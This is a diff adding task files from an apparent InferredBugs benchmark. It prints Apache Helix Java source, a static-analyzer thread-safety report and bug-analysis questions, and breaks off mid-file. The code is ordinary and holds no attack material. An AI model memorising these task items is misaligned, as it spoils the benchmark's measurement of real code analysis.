+      Map<String, LiveInstance> lastSessions = _lastSeenSessions.get();
+
+      HelixManager manager = changeContext.getManager();
+      Builder keyBuilder = new Builder(manager.getClusterName());
+      if (lastSessions != null) {
+        for (String session : lastSessions.keySet()) {
+          if (!curSessions.containsKey(session)) {
+            // remove current-state listener for expired session
+            String instanceName = lastSessions.get(session).getInstanceName();
+            manager.removeListener(keyBuilder.currentStates(instanceName, session), this);
+          }
+        }
+      }
+
+      if (lastInstances != null) {
+        for (String instance : lastInstances.keySet()) {
+          if (!curInstances.containsKey(instance)) {
+            // remove message listener for disconnected instances
+            manager.removeListener(keyBuilder.messages(instance), this);
+          }
+        }
+      }
+
+      for (String session : curSessions.keySet()) {
+        if (lastSessions == null || !lastSessions.containsKey(session)) {
+          String instanceName = curSessions.get(session).getInstanceName();
+          try {
+            // add current-state listeners for new sessions
+            manager.addCurrentStateChangeListener(this, instanceName, session);
+            logger.info(manager.getInstanceName() + " added current-state listener for instance: "
+                + instanceName + ", session: " + session + ", listener: " + this);
+          } catch (Exception e) {
+            logger.error("Fail to add current state listener for instance: " + instanceName
+                + " with session: " + session, e);
+          }
+        }
+      }
+
+      for (String instance : curInstances.keySet()) {
+        if (lastInstances == null || !lastInstances.containsKey(instance)) {
+          try {
+            // add message listeners for new instances
+            manager.addMessageListener(this, instance);
+            logger.info(manager.getInstanceName() + " added message listener for " + instance
+                + ", listener: " + this);
+          } catch (Exception e) {
+            logger.error("Fail to add message listener for instance: " + instance, e);
+          }
+        }
+      }
+
+      // update last-seen
+      _lastSeenInstances.set(curInstances);
+      _lastSeenSessions.set(curSessions);
+    }
+  }
+
+  public void shutdownClusterStatusMonitor(String clusterName) {
+    if (_clusterStatusMonitor != null) {
+      logger.info("Shut down _clusterStatusMonitor for cluster " + clusterName);
+      _clusterStatusMonitor.reset();
+      _clusterStatusMonitor = null;
+    }
+  }
+
+  public void shutdown() throws InterruptedException {
+    stopRebalancingTimer();
+    while (_eventThread.isAlive()) {
+      _eventThread.interrupt();
+      _eventThread.join(EVENT_THREAD_JOIN_TIMEOUT);
+    }
+    _asyncTasksThreadPool.shutdown();
+  }
+
+  private class ClusterEventProcessor extends Thread {
+    @Override
+    public void run() {
+      logger.info("START ClusterEventProcessor thread  for cluster " + _clusterName);
+      while (!isInterrupted()) {
+        try {
+          ClusterEvent event = _eventQueue.take();
+          handleEvent(event);
+        } catch (InterruptedException e) {
+          logger.warn("ClusterEventProcessor interrupted", e);
+          interrupt();
+        } catch (ZkInterruptedException e) {
+          logger.warn("ClusterEventProcessor caught a ZK connection interrupt", e);
+          interrupt();
+        } catch (ThreadDeath death) {
+          throw death;
+        } catch (Throwable t) {
+          logger.error("ClusterEventProcessor failed while running the controller pipeline", t);
+        }
+      }
+      logger.info("END ClusterEventProcessor thread");
+    }
+  }
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+THREAD_SAFETY_VIOLATION
+
+### Qualifier:
+Unprotected write. Non-private method `org.apache.helix.controller.GenericHelixController.stopRebalancingTimer` writes to field `this.org.apache.helix.controller.GenericHelixController._timerPeriod` outside of synchronization.
+ Reporting because another access to the same memory occurs on a background thread, although this access may not.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void GenericHelixController.stopRebalancingTimer()
+
+### Procedure Id:
+org.apache.helix.controller.GenericHelixController.stopRebalancingTimer():void.300691c867b9ec153986206771373244
+
+### File:
+helix-core/src/main/java/org/apache/helix/controller/GenericHelixController.java
+
+### Key:
+GenericHelixController.java|stopRebalancingTimer|THREAD_SAFETY_VIOLATION
+
+### Node Key:
+9c5d6d9028928346cc4fb44cced5dea1
+
+### Hash:
+21d79b8dd286ece39a578ee849194a74
+
+### Bug Type Hum:
+Thread Safety Violation
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-9618/instruction.md b/inferredbugs-9618/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..227a33db12bae9c60edbff5f83601dcf45a7f308
--- /dev/null
+++ b/inferredbugs-9618/instruction.md
@@ -0,0 +1,1160 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** helix
+**Bug ID:** 30
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+package org.apache.helix.manager.zk;
+
+/*
+ * Licensed to the Apache Software Foundation (ASF) under one
+ * or more contributor license agreements.  See the NOTICE file
+ * distributed with this work for additional information
+ * regarding copyright ownership.  The ASF licenses this file
+ * to you under the Apache License, Version 2.0 (the
+ * "License"); you may not use this file except in compliance
+ * with the License.  You may obtain a copy of the License at
+ *
+ *   http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing,
+ * software distributed under the License is distributed on an
+ * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
+ * KIND, either express or implied.  See the License for the
+ * specific language governing permissions and limitations
+ * under the License.
+ */
+
+import java.lang.management.ManagementFactory;
+import java.net.InetAddress;
+import java.net.UnknownHostException;
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.LinkedList;
+import java.util.List;
+import java.util.Timer;
+import java.util.concurrent.TimeUnit;
+
+import org.I0Itec.zkclient.ZkConnection;
+import org.apache.helix.BaseDataAccessor;
+import org.apache.helix.ClusterMessagingService;
+import org.apache.helix.ConfigAccessor;
+import org.apache.helix.ConfigChangeListener;
+import org.apache.helix.AccessOption;
+import org.apache.helix.ControllerChangeListener;
+import org.apache.helix.CurrentStateChangeListener;
+import org.apache.helix.ExternalViewChangeListener;
+import org.apache.helix.HealthStateChangeListener;
+import org.apache.helix.HelixAdmin;
+import org.apache.helix.HelixConstants.ChangeType;
+import org.apache.helix.HelixDataAccessor;
+import org.apache.helix.HelixException;
+import org.apache.helix.HelixManager;
+import org.apache.helix.HelixTimerTask;
+import org.apache.helix.IdealStateChangeListener;
+import org.apache.helix.InstanceConfigChangeListener;
+import org.apache.helix.InstanceType;
+import org.apache.helix.LiveInstanceChangeListener;
+import org.apache.helix.LiveInstanceInfoProvider;
+import org.apache.helix.MessageListener;
+import org.apache.helix.PreConnectCallback;
+import org.apache.helix.HelixManagerProperties;
+import org.apache.helix.PropertyKey;
+import org.apache.helix.PropertyKey.Builder;
+import org.apache.helix.PropertyPathConfig;
+import org.apache.helix.PropertyType;
+import org.apache.helix.ScopedConfigChangeListener;
+import org.apache.helix.ZNRecord;
+import org.apache.helix.controller.restlet.ZKPropertyTransferServer;
+import org.apache.helix.healthcheck.HealthStatsAggregationTask;
+import org.apache.helix.healthcheck.ParticipantHealthReportCollector;
+import org.apache.helix.healthcheck.ParticipantHealthReportCollectorImpl;
+import org.apache.helix.messaging.DefaultMessagingService;
+import org.apache.helix.messaging.handling.MessageHandlerFactory;
+import org.apache.helix.model.ConfigScope;
+import org.apache.helix.model.CurrentState;
+import org.apache.helix.model.HelixConfigScope;
+import org.apache.helix.model.HelixConfigScope.ConfigScopeProperty;
+import org.apache.helix.model.InstanceConfig;
+import org.apache.helix.model.LiveInstance;
+import org.apache.helix.model.Message.MessageType;
+import org.apache.helix.model.builder.ConfigScopeBuilder;
+import org.apache.helix.model.StateModelDefinition;
+import org.apache.helix.monitoring.ZKPathDataDumpTask;
+import org.apache.helix.participant.DistClusterControllerElection;
+import org.apache.helix.participant.HelixStateMachineEngine;
+import org.apache.helix.participant.StateMachineEngine;
+import org.apache.helix.participant.statemachine.ScheduledTaskStateModelFactory;
+import org.apache.helix.store.zk.ZkHelixPropertyStore;
+import org.apache.log4j.Logger;
+import org.apache.zookeeper.Watcher.Event.EventType;
+import org.apache.zookeeper.Watcher.Event.KeeperState;
+
+
+public class ZKHelixManager implements HelixManager
+{
+  private static Logger                        logger                  =
+                                                                           Logger.getLogger(ZKHelixManager.class);
+  private static final int                     RETRY_LIMIT             = 3;
+  private static final int                     CONNECTIONTIMEOUT       = 60 * 1000;
+  private final String                         _clusterName;
+  private final String                         _instanceName;
+  private final String                         _zkConnectString;
+  private static final int                     DEFAULT_SESSION_TIMEOUT = 30 * 1000;
+  private ZKHelixDataAccessor                  _helixAccessor;
+  private ConfigAccessor                       _configAccessor;
+  protected ZkClient                           _zkClient;
+  protected List<CallbackHandler>         	   _handlers;
+  private final ZkStateChangeListener          _zkStateChangeListener;
+  private final InstanceType                   _instanceType;
+  volatile String                              _sessionId;
+  private Timer                                _timer;
+  private CallbackHandler                      _leaderElectionHandler;
+  private ParticipantHealthReportCollectorImpl _participantHealthCheckInfoCollector;
+  private final DefaultMessagingService        _messagingService;
+  private ZKHelixAdmin                         _managementTool;
+  private final String                         _version;
+  private final HelixManagerProperties         _properties;
+  private final StateMachineEngine             _stateMachEngine;
+  private int                                  _sessionTimeout;
+  private ZkHelixPropertyStore<ZNRecord>       _helixPropertyStore;
+  private final List<HelixTimerTask>           _controllerTimerTasks;
+  private BaseDataAccessor<ZNRecord>           _baseDataAccessor;
+  List<PreConnectCallback>                     _preConnectCallbacks    =
+                                                                           new LinkedList<PreConnectCallback>();
+  ZKPropertyTransferServer                     _transferServer         = null;
+  int                                          _flappingTimeWindowMs; 
+  int                                          _maxDisconnectThreshold;
+  public static final int                     FLAPPING_TIME_WINDIOW   = 300000; // Default to 300 sec
+  public static final int                     MAX_DISCONNECT_THRESHOLD = 5;
+  LiveInstanceInfoProvider                    _liveInstanceInfoProvider = null;
+  public static final String                  ALLOW_PARTICIPANT_AUTO_JOIN = "allowParticipantAutoJoin";
+
+  public ZKHelixManager(String clusterName,
+                        String instanceName,
+                        InstanceType instanceType,
+                        String zkConnectString)
+  {
+    logger.info("Create a zk-based cluster manager. clusterName:" + clusterName
+        + ", instanceName:" + instanceName + ", type:" + instanceType + ", zkSvr:"
+        + zkConnectString);
+    _flappingTimeWindowMs = FLAPPING_TIME_WINDIOW;
+    try
+    {
+      _flappingTimeWindowMs =
+          Integer.parseInt(System.getProperty("helixmanager.flappingTimeWindow", ""
+              + FLAPPING_TIME_WINDIOW));
+    }
+    catch (NumberFormatException e)
+    {
+      logger.warn("Exception while parsing helixmanager.flappingTimeWindow: "
+          + System.getProperty("helixmanager.flappingTimeWindow", "" + FLAPPING_TIME_WINDIOW));
+    }
+    _maxDisconnectThreshold = MAX_DISCONNECT_THRESHOLD;
+    try
+    {
+      _maxDisconnectThreshold =
+          Integer.parseInt(System.getProperty("helixmanager.maxDisconnectThreshold", ""
+              + MAX_DISCONNECT_THRESHOLD));
+    }
+    catch (NumberFormatException e)
+    {
+      logger.warn("Exception while parsing helixmanager.maxDisconnectThreshold: "
+          + System.getProperty("helixmanager.maxDisconnectThreshold", "" + MAX_DISCONNECT_THRESHOLD));
+    }
+    int sessionTimeoutInt = -1;
+    try
+    {
+      sessionTimeoutInt =
+          Integer.parseInt(System.getProperty("zk.session.timeout", ""
+              + DEFAULT_SESSION_TIMEOUT));
+    }
+    catch (NumberFormatException e)
+    {
+      logger.warn("Exception while parsing session timeout: "
+          + System.getProperty("zk.session.timeout", "" + DEFAULT_SESSION_TIMEOUT));
+    }
+    if (sessionTimeoutInt > 0)
+    {
+      _sessionTimeout = sessionTimeoutInt;
+    }
+    else
+    {
+      _sessionTimeout = DEFAULT_SESSION_TIMEOUT;
+    }
+    if (instanceName == null)
+    {
+      try
+      {
+        instanceName =
+            InetAddress.getLocalHost().getCanonicalHostName() + "-"
+                + instanceType.toString();
+      }
+      catch (UnknownHostException e)
+      {
+        // can ignore it
+        logger.info("Unable to get host name. Will set it to UNKNOWN, mostly ignorable",
+                    e);
+        instanceName = "UNKNOWN";
+      }
+    }
+
+    _clusterName = clusterName;
+    _instanceName = instanceName;
+    _instanceType = instanceType;
+    _zkConnectString = zkConnectString;
+    _zkStateChangeListener = new ZkStateChangeListener(this, _flappingTimeWindowMs, _maxDisconnectThreshold);
+    _timer = null;
+
+    _messagingService = new DefaultMessagingService(this);
+
+    _properties = 
+        new HelixManagerProperties("cluster-manager-version.properties");
+    _version = _properties.getVersion();
+        
+    _stateMachEngine = new HelixStateMachineEngine(this);
+
+    // add all timer tasks
+    _controllerTimerTasks = new ArrayList<HelixTimerTask>();
+    if (_instanceType == InstanceType.CONTROLLER)
+    {
+      _controllerTimerTasks.add(new HealthStatsAggregationTask(this));
+    }
+  }
+
+  @Override
+  public boolean removeListener(PropertyKey key, Object listener)
+  {
+    logger.info("Removing listener: " + listener + " on path: " + key.getPath() 
+    		+ " from cluster: " + _clusterName + " by instance: " + _instanceName);
+
+    synchronized (this)
+    {
+      List<CallbackHandler> toRemove = new ArrayList<CallbackHandler>();
+      for (CallbackHandler handler : _handlers)
+      {
+        // compare property-key path and listener reference
+        if (handler.getPath().equals(key.getPath()) && handler.getListener().equals(listener))
+        {
+          toRemove.add(handler);
+        }
+      }
+      
+      _handlers.removeAll(toRemove);
+      
+      // handler.reset() may modify the handlers list, so do it outside the iteration
+      for (CallbackHandler handler : toRemove) {
+    	  handler.reset();
+      }
+    }
+
+    return true;
+  }
+
+  private void addListener(Object listener, PropertyKey propertyKey, ChangeType changeType, EventType[] eventType)
+  {
+    checkConnected();
+
+    PropertyType type = propertyKey.getType();
+    CallbackHandler handler =
+        createCallBackHandler(propertyKey, listener, eventType, changeType);
+
+    synchronized (this)
+    {
+      _handlers.add(handler);
+      logger.info("Add listener: " + listener + " for type: " + type + " to path: " + handler.getPath());
+    }
+  }
+  
+  @Override
+  public void addIdealStateChangeListener(final IdealStateChangeListener listener) throws Exception
+  {
+	  addListener(listener, new Builder(_clusterName).idealStates(), ChangeType.IDEAL_STATE, 
+	    new EventType[] { EventType.NodeDataChanged, EventType.NodeDeleted, EventType.NodeCreated });
+  }
+
+  @Override
+  public void addLiveInstanceChangeListener(LiveInstanceChangeListener listener) throws Exception
+  {
+	  addListener(listener, new Builder(_clusterName).liveInstances(), ChangeType.LIVE_INSTANCE, 
+	    new EventType[] { EventType.NodeDataChanged, EventType.NodeChildrenChanged, EventType.NodeDeleted, EventType.NodeCreated });
+  }
+
+  @Override
+  public void addConfigChangeListener(ConfigChangeListener listener)
+  {
+	 addListener(listener, new Builder(_clusterName).instanceConfigs(), ChangeType.INSTANCE_CONFIG, 
+	   new EventType[] { EventType.NodeChildrenChanged });
+  }
+
+  @Override
+  public void addInstanceConfigChangeListener(InstanceConfigChangeListener listener)
+  {
+	 addListener(listener, new Builder(_clusterName).instanceConfigs(), ChangeType.INSTANCE_CONFIG, 
+			 new EventType[] { EventType.NodeChildrenChanged });
+  }
+
+  @Override
+  public void addConfigChangeListener(ScopedConfigChangeListener listener, ConfigScopeProperty scope)
+  {
+	Builder keyBuilder = new Builder(_clusterName);
+
+	PropertyKey propertyKey = null;
+	switch(scope)
+	{
+	case CLUSTER:
+		propertyKey = keyBuilder.clusterConfigs();
+		break;
+	case PARTICIPANT:
+		propertyKey = keyBuilder.instanceConfigs();
+		break;
+	case RESOURCE:
+		propertyKey = keyBuilder.resourceConfigs();
+		break;
+	default:
+		break;
+	}
+
+	if (propertyKey != null)
+	{
+		addListener(listener, propertyKey, ChangeType.CONFIG, 
+				new EventType[] { EventType.NodeChildrenChanged });
+	} else
+	{
+		logger.error("Can't add listener to config scope: " + scope);
+	}
+  }
+  
+  // TODO: Decide if do we still need this since we are exposing
+  // ClusterMessagingService
+  @Override
+  public void addMessageListener(MessageListener listener, String instanceName)
+  {
+	 addListener(listener, new Builder(_clusterName).messages(instanceName), ChangeType.MESSAGE, 
+	    		new EventType[] { EventType.NodeChildrenChanged, EventType.NodeDeleted, EventType.NodeCreated });
+  }
+
+  void addControllerMessageListener(MessageListener listener)
+  {
+	 addListener(listener, new Builder(_clusterName).controllerMessages(), ChangeType.MESSAGES_CONTROLLER,
+	    		new EventType[] { EventType.NodeChildrenChanged, EventType.NodeDeleted, EventType.NodeCreated });
+  }
+
+  @Override
+  public void addCurrentStateChangeListener(CurrentStateChangeListener listener,
+                                            String instanceName,
+                                            String sessionId)
+  {
+	 addListener(listener, new Builder(_clusterName).currentStates(instanceName, sessionId), ChangeType.CURRENT_STATE,
+	    		new EventType[] { EventType.NodeChildrenChanged, EventType.NodeDeleted, EventType.NodeCreated });
+  }
+
+  @Override
+  public void addHealthStateChangeListener(HealthStateChangeListener listener,
+                                           String instanceName)
+  {
+	  addListener(listener, new Builder(_clusterName).healthReports(instanceName), ChangeType.HEALTH,
+	    		new EventType[] { EventType.NodeChildrenChanged, EventType.NodeDeleted, EventType.NodeCreated });
+  }
+
+  @Override
+  public void addExternalViewChangeListener(ExternalViewChangeListener listener)
+  {
+	  addListener(listener, new Builder(_clusterName).externalViews(), ChangeType.EXTERNAL_VIEW,
+	    		new EventType[] { EventType.NodeChildrenChanged, EventType.NodeDeleted, EventType.NodeCreated });
+  }
+
+  @Override
+  public void addControllerListener(ControllerChangeListener listener)
+  {
+	  addListener(listener, new Builder(_clusterName).controller(), ChangeType.CONTROLLER,
+	    		new EventType[] { EventType.NodeChildrenChanged, EventType.NodeDeleted, EventType.NodeCreated });
+  }
+
+  @Override
+  public HelixDataAccessor getHelixDataAccessor()
+  {
+    checkConnected();
+    return _helixAccessor;
+  }
+
+  @Override
+  public ConfigAccessor getConfigAccessor()
+  {
+    checkConnected();
+    return _configAccessor;
+  }
+
+  @Override
+  public String getClusterName()
+  {
+    return _clusterName;
+  }
+
+  @Override
+  public String getInstanceName()
+  {
+    return _instanceName;
+  }
+
+  @Override
+  public void connect() throws Exception
+  {
+    logger.info("ClusterManager.connect()");
+    if (_zkStateChangeListener.isConnected())
+    {
+      logger.warn("Cluster manager " + _clusterName + " " + _instanceName
+          + " already connected");
+      return;
+    }
+
+    try
+    {
+      createClient(_zkConnectString);
+      _messagingService.onConnected();
+    }
+    catch (Exception e)
+    {
+      logger.error(e);
+      disconnect();
+      throw e;
+    }
+  }
+
+  @Override
+  public void disconnect()
+  {
+    if (!isConnected())
+    {
+      logger.error("ClusterManager " + _instanceName + " already disconnected");
+      return;
+    }
+    disconnectInternal();
+  }
+  
+  void disconnectInternal()
+  {
+    // This function can be called when the connection are in bad state(e.g. flapping), 
+    // in which isConnected() could be false and we want to disconnect from cluster.
+    logger.info("disconnect " + _instanceName + "(" + _instanceType + ") from "
+        + _clusterName);
+
+    /**
+     * shutdown thread pool first to avoid reset() being invoked in the middle of state
+     * transition
+     */
+    _messagingService.getExecutor().shutdown();
+    resetHandlers();
+
+    _helixAccessor.shutdown();
+
+    if (_leaderElectionHandler != null)
+    {
+      _leaderElectionHandler.reset();
+    }
+
+    if (_participantHealthCheckInfoCollector != null)
+    {
+      _participantHealthCheckInfoCollector.stop();
+    }
+
+    if (_timer != null)
+    {
+      _timer.cancel();
+      _timer = null;
+    }
+
+    if (_instanceType == InstanceType.CONTROLLER)
+    {
+      stopTimerTasks();
+    }
+
+    // unsubscribe accessor from controllerChange
+    _zkClient.unsubscribeAll();
+
+    _zkClient.close();
+
+    // HACK seems that zkClient is not sending DISCONNECT event
+    _zkStateChangeListener.disconnect();
+    logger.info("Cluster manager: " + _instanceName + " disconnected");
+  
+  }
+
+  @Override
+  public String getSessionId()
+  {
+    checkConnected();
+    return _sessionId;
+  }
+
+  @Override
+  public boolean isConnected()
+  {
+    return _zkStateChangeListener.isConnected();
+  }
+
+  @Override
+  public long getLastNotificationTime()
+  {
+    return -1;
+  }
+
+  private void addLiveInstance()
+  {
+    LiveInstance liveInstance = new LiveInstance(_instanceName);
+    liveInstance.setSessionId(_sessionId);
+    liveInstance.setHelixVersion(_version);
+    liveInstance.setLiveInstance(ManagementFactory.getRuntimeMXBean().getName());
+    
+    if(_liveInstanceInfoProvider != null)
+    {
+      logger.info("invoking _liveInstanceInfoProvider");
+      ZNRecord additionalLiveInstanceInfo = _liveInstanceInfoProvider.getAdditionalLiveInstanceInfo();
+      if(additionalLiveInstanceInfo != null)
+      {
+        additionalLiveInstanceInfo.merge(liveInstance.getRecord());
+        ZNRecord mergedLiveInstance = new ZNRecord(additionalLiveInstanceInfo, _instanceName);
+        liveInstance = new LiveInstance(mergedLiveInstance);
+        logger.info("liveInstance content :" + _instanceName + " " + liveInstance.toString());
+      }
+    }
+
+    logger.info("Add live instance: InstanceName: " + _instanceName + " Session id:"
+        + _sessionId);
+    Builder keyBuilder = _helixAccessor.keyBuilder();
+    if (!_helixAccessor.createProperty(keyBuilder.liveInstance(_instanceName),
+                                       liveInstance))
+    {
+      String errorMsg =
+          "Fail to create live instance node after waiting, so quit. instance:"
+              + _instanceName;
+      logger.warn(errorMsg);
+      throw new HelixException(errorMsg);
+
+    }
+    String currentStatePathParent =
+        PropertyPathConfig.getPath(PropertyType.CURRENTSTATES,
+                                   _clusterName,
+                                   _instanceName,
+                                   getSessionId());
+
+    if (!_zkClient.exists(currentStatePathParent))
+    {
+      _zkClient.createPersistent(currentStatePathParent);
+      logger.info("Creating current state path " + currentStatePathParent);
+    }
+  }
+
+  private void startStatusUpdatedumpTask()
+  {
+    long initialDelay = 30 * 60 * 1000;
+    long period = 120 * 60 * 1000;
+    int timeThresholdNoChange = 180 * 60 * 1000;
+
+    if (_timer == null)
+    {
+      _timer = new Timer(true);
+      _timer.scheduleAtFixedRate(new ZKPathDataDumpTask(this,
+                                                        _zkClient,
+                                                        timeThresholdNoChange),
+                                 initialDelay,
+                                 period);
+    }
+  }
+
+  private void createClient(String zkServers) throws Exception
+  {
+    String propertyStorePath =
+        PropertyPathConfig.getPath(PropertyType.PROPERTYSTORE, _clusterName);
+
+    // by default use ZNRecordStreamingSerializer except for paths within the property
+    // store which expects raw byte[] serialization/deserialization
+    PathBasedZkSerializer zkSerializer =
+        ChainedPathZkSerializer.builder(new ZNRecordStreamingSerializer())
+                               .serialize(propertyStorePath, new ByteArraySerializer())
+                               .build();
+
+    _zkClient = new ZkClient(zkServers, _sessionTimeout, CONNECTIONTIMEOUT, zkSerializer);
+
+    ZkBaseDataAccessor<ZNRecord> baseDataAccessor =
+        new ZkBaseDataAccessor<ZNRecord>(_zkClient);
+    if (_instanceType == InstanceType.PARTICIPANT)
+    {
+      String curStatePath =
+          PropertyPathConfig.getPath(PropertyType.CURRENTSTATES,
+                                     _clusterName,
+                                     _instanceName);
+      _baseDataAccessor =
+          new ZkCacheBaseDataAccessor<ZNRecord>(baseDataAccessor,
+                                                Arrays.asList(curStatePath));
+    }
+    else if (_instanceType == InstanceType.CONTROLLER)
+    {
+      String extViewPath = PropertyPathConfig.getPath(PropertyType.EXTERNALVIEW,
+
+      _clusterName);
+      _baseDataAccessor =
+          new ZkCacheBaseDataAccessor<ZNRecord>(baseDataAccessor,
+                                                Arrays.asList(extViewPath));
+
+    }
+    else
+    {
+      _baseDataAccessor = baseDataAccessor;
+    }
+
+    _helixAccessor =
+        new ZKHelixDataAccessor(_clusterName, _instanceType, _baseDataAccessor);
+    _configAccessor = new ConfigAccessor(_zkClient);
+    int retryCount = 0;
+
+    _zkClient.subscribeStateChanges(_zkStateChangeListener);
+    while (retryCount < RETRY_LIMIT)
+    {
+      try
+      {
+        _zkClient.waitUntilConnected(_sessionTimeout, TimeUnit.MILLISECONDS);
+        _zkStateChangeListener.handleStateChanged(KeeperState.SyncConnected);
+        _zkStateChangeListener.handleNewSession();
+        break;
+      }
+      catch (HelixException e)
+      {
+        logger.error("fail to createClient.", e);
+        throw e;
+      }
+      catch (Exception e)
+      {
+        retryCount++;
+
+        logger.error("fail to createClient. retry " + retryCount, e);
+        if (retryCount == RETRY_LIMIT)
+        {
+          throw e;
+        }
+      }
+    }
+  }
+
+  private CallbackHandler createCallBackHandler(PropertyKey propertyKey,
+                                                Object listener,
+                                                EventType[] eventTypes,
+                                                ChangeType changeType)
+  {
+    if (listener == null)
+    {
+      throw new HelixException("Listener cannot be null");
+    }
+    return new CallbackHandler(this, _zkClient, propertyKey, listener, eventTypes, changeType);
+  }
+
+  /**
+   * This will be invoked when ever a new session is created<br/>
+   * 
+   * case 1: the cluster manager was a participant carry over current state, add live
+   * instance, and invoke message listener; case 2: the cluster manager was controller and
+   * was a leader before do leader election, and if it becomes leader again, invoke ideal
+   * state listener, current state listener, etc. if it fails to become leader in the new
+   * session, then becomes standby; case 3: the cluster manager was controller and was NOT
+   * a leader before do leader election, and if it becomes leader, instantiate and invoke
+   * ideal state listener, current state listener, etc. if if fails to become leader in
+   * the new session, stay as standby
+   */
+
+  protected void handleNewSession()
+  {
+    boolean isConnected = _zkClient.waitUntilConnected(CONNECTIONTIMEOUT, TimeUnit.MILLISECONDS);
+    while (!isConnected)
+    {
+      logger.error("Could NOT connect to zk server in " + CONNECTIONTIMEOUT + "ms. zkServer: "
+          + _zkConnectString + ", expiredSessionId: " + _sessionId + ", clusterName: "
+          + _clusterName);
+      isConnected = _zkClient.waitUntilConnected(CONNECTIONTIMEOUT, TimeUnit.MILLISECONDS);
+    }
+
+    ZkConnection zkConnection = ((ZkConnection) _zkClient.getConnection());
+    
+    synchronized (this)
+    {
+      _sessionId = Long.toHexString(zkConnection.getZookeeper().getSessionId());
+    }
+    _baseDataAccessor.reset();
+
+    // reset all handlers so they have a chance to unsubscribe zk changes from zkclient
+    // abandon all callback-handlers added in expired session
+    resetHandlers();
+    _handlers = new ArrayList<CallbackHandler>();
+
+    logger.info("Handling new session, session id:" + _sessionId + ", instance:"
+        + _instanceName + ", instanceTye: " + _instanceType + ", cluster: " + _clusterName);
+
+    logger.info(zkConnection.getZookeeper());
+
+    if (!ZKUtil.isClusterSetup(_clusterName, _zkClient))
+    {
+      throw new HelixException("Initial cluster structure is not set up for cluster:"
+          + _clusterName);
+    }
+    // Read cluster config and see if instance can auto join the cluster
+    boolean autoJoin = false;
+    try
+    {
+      ConfigScope scope =
+          new ConfigScopeBuilder().forCluster(getClusterName())
+                                  .build();
+      autoJoin = Boolean.parseBoolean(getConfigAccessor().get(scope, ALLOW_PARTICIPANT_AUTO_JOIN));
+      logger.info("Auto joining " + _clusterName +" is true");
+    }
+    catch(Exception e)
+    {
+    }
+    if (!ZKUtil.isInstanceSetup(_zkClient, _clusterName, _instanceName, _instanceType))
+    {
+      if(!autoJoin)
+      {
+        throw new HelixException("Initial cluster structure is not set up for instance:"
+          + _instanceName + " instanceType:" + _instanceType);
+      }
+      else
+      {
+        logger.info("Auto joining instance " + _instanceName);
+        InstanceConfig instanceConfig = new InstanceConfig(_instanceName);
+        String hostName = _instanceName;
+        String port = "";
+        int lastPos = _instanceName.lastIndexOf("_");
+        if (lastPos > 0)
+        {
+          hostName = _instanceName.substring(0, lastPos);
+          port = _instanceName.substring(lastPos + 1);
+        }
+        instanceConfig.setHostName(hostName);
+        instanceConfig.setPort(port);
+        instanceConfig.setInstanceEnabled(true);
+        getClusterManagmentTool().addInstance(_clusterName, instanceConfig);
+      }
+    }
+
+    if (_instanceType == InstanceType.PARTICIPANT
+        || _instanceType == InstanceType.CONTROLLER_PARTICIPANT)
+    {
+      handleNewSessionAsParticipant();
+    }
+
+    if (_instanceType == InstanceType.CONTROLLER
+        || _instanceType == InstanceType.CONTROLLER_PARTICIPANT)
+    {
+      addControllerMessageListener(_messagingService.getExecutor());
+      MessageHandlerFactory defaultControllerMsgHandlerFactory =
+          new DefaultControllerMessageHandlerFactory();
+      _messagingService.getExecutor()
+                       .registerMessageHandlerFactory(defaultControllerMsgHandlerFactory.getMessageType(),
+                                                      defaultControllerMsgHandlerFactory);
+      MessageHandlerFactory defaultSchedulerMsgHandlerFactory =
+          new DefaultSchedulerMessageHandlerFactory(this);
+      _messagingService.getExecutor()
+                       .registerMessageHandlerFactory(defaultSchedulerMsgHandlerFactory.getMessageType(),
+                                                      defaultSchedulerMsgHandlerFactory);
+      MessageHandlerFactory defaultParticipantErrorMessageHandlerFactory =
+          new DefaultParticipantErrorMessageHandlerFactory(this);
+      _messagingService.getExecutor()
+                       .registerMessageHandlerFactory(defaultParticipantErrorMessageHandlerFactory.getMessageType(),
+                                                      defaultParticipantErrorMessageHandlerFactory);
+
+      // create a new leader-election handler for a new session
+      if (_leaderElectionHandler != null) {
+    	  _leaderElectionHandler.reset();
+      }
+      _leaderElectionHandler =
+            createCallBackHandler(new Builder(_clusterName).controller(),
+                                  new DistClusterControllerElection(_zkConnectString),
+                                  new EventType[] { EventType.NodeChildrenChanged,
+                                      EventType.NodeDeleted, EventType.NodeCreated },
+                                  ChangeType.CONTROLLER);
+    }
+
+    if (_instanceType == InstanceType.PARTICIPANT
+        || _instanceType == InstanceType.CONTROLLER_PARTICIPANT
+        || (_instanceType == InstanceType.CONTROLLER && isLeader()))
+    {
+      initHandlers();
+    }
+  }
+
+  private void handleNewSessionAsParticipant()
+  {
+    // In case there is a live instance record on zookeeper
+    Builder keyBuilder = _helixAccessor.keyBuilder();
+
+    if (_helixAccessor.getProperty(keyBuilder.liveInstance(_instanceName)) != null)
+    {
+      logger.warn("Found another instance with same instanceName: " + _instanceName
+          + " in cluster " + _clusterName);
+      // Wait for a while, in case previous storage node exits unexpectedly
+      // and its liveinstance
+      // still hangs around until session timeout happens
+      try
+      {
+        Thread.sleep(_sessionTimeout + 5000);
+      }
+      catch (InterruptedException e)
+      {
+        logger.warn("Sleep interrupted while waiting for previous liveinstance to go away.",
+                    e);
+      }
+
